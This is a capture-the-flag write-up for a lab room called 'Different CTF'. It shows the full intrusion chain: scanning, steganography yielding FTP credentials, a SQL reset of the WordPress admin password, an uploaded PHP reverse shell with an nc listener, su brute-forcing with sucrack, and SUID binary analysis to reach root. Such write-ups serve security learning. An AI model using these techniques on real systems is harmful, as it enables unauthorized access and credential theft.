eCIR

Level 11 · 12.0K points · 2 posts

28m agoUpdated 27m ago4 min read3

Different CTF — Writeup

Field	Info
Room Name	Different CTF
Difficulty	Hard
Type	Linux, Web
Description	Interesting room, you can shoot the sun

Reconnaissance

The first step is collecting information about the target. We run a port scanner using nmap to identify open ports and running services:

bash

sudo nmap -sV -sC -O -A 10.112.187.162 -oN nmap.scan

Results:

Port	Protocol	Service
21/tcp	FTP	vsftpd 3.0.3
80/tcp	HTTP	Apache httpd 2.4.29

The web server header reveals a WordPress 5.6 installation.

Enumeration

FTP

Anonymous login is not permitted:

bash

ftp 10.112.187.162
# Name: anonymous
# 530 Permission denied.

Web

Pasted image 20260624203255.png

Visiting the web server directly shows unstyled HTML — links try to redirect to adana.thm, revealing a virtual host. We add it to /etc/hosts:

plaintext

10.112.187.162 adana.thm

After adding the virtual host the WordPress site loads correctly.

Pasted image 20260624203544.png

Directory Fuzzing

bash

gobuster dir -u http://10.113.152.43/ -w /usr/share/wordlists/dirb/common.txt

Key findings:

Path	Status
/announcements	301
/phpmyadmin	301
/javascript	301

The /announcements directory is the secret directory. It contains two files:

wordlist.txt
austrailian-bulldog-ant.jpg

Note: Stay focused and avoid rabbit holes — do fast initial checks before diving deep.

FTP Access via Steganography

We analyse the image found in /announcements:

bash

exiftool austrailian-bulldog-ant.jpg      # no useful metadata
stegseek austrailian-bulldog-ant.jpg wordlist.txt

Output:

plaintext

[i] Found passphrase: "123adanaantinwar"
[i] Original filename: "user-pass-ftp.txt"
[i] Extracting to "austrailian-bulldog-ant.jpg.out"

The extracted file contains Base64-encoded FTP credentials:

bash

cat austrailian-bulldog-ant.jpg.out
# RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=

echo "RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=" | base64 -d
# FTP-LOGIN
# USER: hakanftp
# PASS: 123adanacrack

We log in to FTP with hakanftp:123adanacrack and can now browse the web server's file system, including wp-config.php.

phpMyAdmin Access

Reading wp-config.php via FTP gives us database credentials. We use them to log into phpMyAdmin at http://adana.thm/phpmyadmin.

Pasted image 20260625010147.png

Inside the WordPress database, we update the admin password to one we know:

sql

UPDATE wp_users
SET user_pass = MD5('Password123')
WHERE user_login = 'hakanbey01';

Pasted image 20260625010400.png

We then log into the WordPress admin panel at http://adana.thm/wp-admin as hakanbey01.

Pasted image 20260625010545.png

Note: Changing the WordPress password via SQL was unnecessary — > we already had FTP access to upload shells directly.

Foothold — Reverse Shell

The Subdomain Discovery

Attempting to inject a PHP webshell into the theme editor (404.php) failed — the file was not writable via WordPress. Uploading via FTP worked on the filesystem level, but the shell wasn't executing.

Investigating the wp_options table in phpMyAdmin revealed a second subdomain:

Pasted image 20260625021006.png

plaintext

subdomain.adana.thm

This subdomain maps to /var/www/subdomain/ — which is the directory the FTP server is rooted in. The main domain (adana.thm) maps to /var/www/html/, so FTP uploads there were never reachable from adana.thm.

We add the subdomain to /etc/hosts:

plaintext

10.112.187.162 adana.thm subdomain.adana.thm

Then upload a PHP reverse shell via FTP and trigger it:

bash

# Upload
ftp adana.thm
ftp> put rev.php

# Start listener
nc -lnvp 6666

# Trigger
curl http://subdomain.adana.thm/rev.php

Shell received:

plaintext

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Web Flag

Checking /var/www/html/ we find the web flag:

bash

cat /var/www/html/wwe3bbfla4g.txt
# THM{343a7e...46edff}

Privilege Escalation — User Flag

Password Mutation with sucrack

Basic enumeration didn't reveal an obvious privesc vector. We noticed a pattern in the FTP password (123adanacrack) — it uses a 123adana prefix followed by a word. We generate a mutated wordlist using sed:

bash

sed 's/^/123adana/' wordlist.txt > wordlist2.txt

We compile and run sucrack to brute-force su against the hakanbey user:

bash

# Compile sucrack
cd /tmp/sucrack-master
make
cd src

# Run
./sucrack -u hakanbey -w 100 wordlist2.txt
# password is: 123adanasubaru

bash

su hakanbey
# Password: 123adanasubaru

bash

cat /home/hakanbey/user.txt
# THM{8ba9d771...d00e67127}

Privilege Escalation — Root Flag

SUID Binary Analysis

sudo -l shows no sudo rights. We search for SUID binaries:

bash

find / -perm -u=s -type f 2>/dev/null

A suspicious non-standard binary stands out:

plaintext

/usr/bin/binary

Running it prompts for a string, and entering the wrong value kills your session via pkill.

Bypassing the Binary Safely with ltrace

To avoid losing our session, we use ltrace to intercept the strcmp() call at runtime — piping dummy input non-interactively:

bash

echo "test" | ltrace /usr/bin/binary 2>&1 | grep strcmp
# strcmp("test", "warzoneinadana") = -3

ltrace traces library calls at runtime. Since the binary uses strcmp() from libc to compare our input against the expected string, ltrace reveals both arguments — our dummy input and the real password — without triggering the pkill.

Getting the Root Hint

bash

/usr/bin/binary
# Input: warzoneinadana
# Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
# Copy /root/root.jpg ==> /home/hakanbey/root.jpg

Decoding the Root Password

We download root.jpg via FTP and inspect byte offset 0x20 with xxd:

bash

xxd root.jpg | head -5

plaintext

00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060  ......JFIF.....`
00000010: 0060 0000 ffe1 0078 4578 6966 0000 4d4d  .`.....xExif..MM
00000020: fee9 9d3d 7918 5ffc 826d df1c 69ac c275  ...=y._..m..i..u  ← target
00000030: 0000 0056 0301 0005 0000 0001 0000 0068  ...V...........h

We take the 16 bytes at offset 0x20:

plaintext

fee9 9d3d 7918 5ffc 826d df1c 69ac c275

In CyberChef we apply:

From Hex
To Base85

The output is the root password. We use it to switch to root:

Pasted image 20260625031416.png

bash

su root
cat /root/root.txt

Summary

Step	Technique	Result
Recon	nmap	FTP + HTTP open
Enumeration	gobuster	`/announcements` directory
Steganography	stegseek	FTP credentials
DB access	phpMyAdmin	WordPress admin access
Foothold	FTP upload + subdomain	www-data shell
User privesc	Password mutation + sucrack	hakanbey shell
Root privesc	SUID binary + ltrace + hex analysis	root shell

Key Lessons

Virtual hosts and subdomains can point to completely different web roots — always check wp_options for the siteurl value
ltrace is a safe way to reverse engineer binary string comparisons without triggering destructive side effects
Password patterns (123adana prefix) are a common CTF technique — always look for patterns in found credentials
Steganography appeared twice in this room — it's worth always running stegseek against images with a relevant wordlist

Written by

eCIR

Different CTF — Writeup

Reconnaissance

Enumeration

FTP

Web

Directory Fuzzing

FTP Access via Steganography

phpMyAdmin Access

Foothold — Reverse Shell

The Subdomain Discovery

Web Flag

Privilege Escalation — User Flag

Password Mutation with sucrack

Privilege Escalation — Root Flag

SUID Binary Analysis

Bypassing the Binary Safely with ltrace

Getting the Root Hint

Decoding the Root Password

Summary

Key Lessons

Discussion (0)